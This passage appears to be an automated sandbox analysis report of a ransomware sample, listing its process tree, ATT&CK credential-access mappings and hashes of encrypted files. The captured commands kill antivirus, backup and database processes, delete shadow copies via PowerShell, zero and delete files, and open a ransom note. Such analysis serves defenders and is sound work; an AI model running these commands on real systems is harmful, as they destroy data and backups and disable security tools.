C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocomm.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3460
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM infopath.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4800
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mbamtray.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3888
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM zoolz.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4908
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" IM thunderbird.exe /F2⤵
- Kills process with taskkill
PID:2380
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM dbsnmp.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2280
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM xfssvccon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4584
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:392
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM Ntrtscan.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2776
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM isqlplussvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4116
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM onenote.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1432
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM PccNTMon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1368
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM msaccess.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3408
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM outlook.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4124
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM tmlisten.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1232
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM msftesql.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2028
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM powerpnt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:220
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4860
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM visio.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5016
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1824
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM winword.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3808
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld-nt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4216
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM wordpad.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4532
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld-opt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1856
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocautoupds.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3352
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocssd.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2740
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM oracle.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1328
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlagent.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4824
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlbrowser.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:400
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlservr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1836
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM synctime.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2172
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1724
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt2⤵
- Opens file in notepad (likely ransom note)
PID:7076
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:7084 -
C:\Windows\system32\PING.EXEping 127.0.0.7 -n 33⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:412
-
-
C:\Windows\system32\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”3⤵PID:1208
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe2⤵PID:7140
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:6324
-
-
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.3MB
MD53ae3be116ed829e63d066d72494b990c
SHA118075968ce91624850904e995a0022bad6038d30
SHA2567759a0344129e15ae136b1bc8a20415b1a6eab32f1d434ec63feace538a38712
SHA512575dafc2f76a1564cd19045b47fcb1e7fe359d18d922e0963ab2a44118497487fd9e2190d2080bc57c9e323657a756a59025712547465fe16b6671f3598d5d48
-
C:\ProgramData\Package Cache\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}v56.64.8804\windowsdesktop-runtime-7.0.16-win-x64.msi
Filesize28.8MB
MD500ea73956dca4b4a97d094174d779df8
SHA1193790751b6b5beca0d71f49e8f932f62b63e4bd
SHA256242242ec9526c8f3909051b689b989a00f0276251ebdb4dc8e0cecf3804c2350
SHA5123255384046ff151d434168491e64d340b08ea7d9263452a56dd8bad4660e71f9272b0c710c09e5ab8f23124a4f10e4320a0704828b127aa9f4525b3b6755142c
-
C:\ProgramData\Package Cache\{1B690A4C-381A-40D4-BA4A-3F8ACD5CE797}v56.64.8781\dotnet-hostfxr-7.0.16-win-x64.msi.energy[[email protected]]
Filesize804KB
MD519dc86d0a9bd57a1dd107bc23c623ffb
SHA1d15aed7779a7a8a22592fc5579e55ec4c77b4d95
SHA256515eefaad8b9d95772e36675f49980fb3e6a6d1500265a73f52f11046648868c
SHA512cd3efe4d8df5a643ab30b6be6f2796d8be6a84e6ceb1dc150adeca94902bee6f98adaafb87e3987402f01becdbe7e255b7d0f4e33b02fc84e6b9e1b624978e1a
-
C:\ProgramData\Package Cache\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}v48.108.8828\dotnet-runtime-6.0.27-win-x64.msi
Filesize25.7MB
MD5b9539ef9d2d7ac5514d4b7670e53873f
SHA14f44a2ca8e75c783cacd99fc87a03ae6418f5147
SHA256fc6526d3fa8e7514399303d80d50007a66e5d100e52b9df19d79698f7cefccc1
SHA512d2930504fa3bc602096a12f776735bd0dfb8a425ed2115e54e5e3e565f41cb96579d715d4079bfe72cd34940bfcc267fb17f0b74eea247f89e095f46663d922c
-
C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]
Filesize180KB
MD5faf1f5c6c4b40e7caf56d33f92612dd4
SHA103e6d544508a41c630adb386f29c4b394ee86b6f
SHA25665385ae2abedbdbec5425e9abf6e336110afa877a5ab61d84e828abfa894f007
SHA5124ff896087471e4155713a09bd422cf21396d0161109cd46e15d432d4cdd43f9bd996c2e844e9744c561a37a23856e291be6b5c6a3736fd15c396819e3a7b62da
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD5f68785608a60c0961b2926f9c4d4ff87
SHA1e90357d9a679b851acf30e5e7aa6f76f2e6d3bb4
SHA256edeed8daa6363551c6ffe770dc95fc9a767da6a020004c61c8e3d81eccb9d673
SHA512fa369a235b3d4375e7856e39f42b17fb118fadb0b48fbe71074fa47354d0713662b950142ab5083c01cc850f79bbb0abe154eefe0e754b9b76e8d3b330daf652
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
828B
MD5b9ebabe02651c81ea0ae7911d3f3d674
SHA1ffa79ea8a79bcfe09ea918f4819bf2426f5a75d9
SHA2560561851754965fff6e4fcee55588587e8bd5120984455c62ab33a96ed7daa9b1
SHA5121c2b05880d5116ccc33df5f559e162df994ed7baedf012ff18c07d4100303270b19a41ade37587e9e99121b255731704dc4b08b57b183d1edb65f8684f2a7692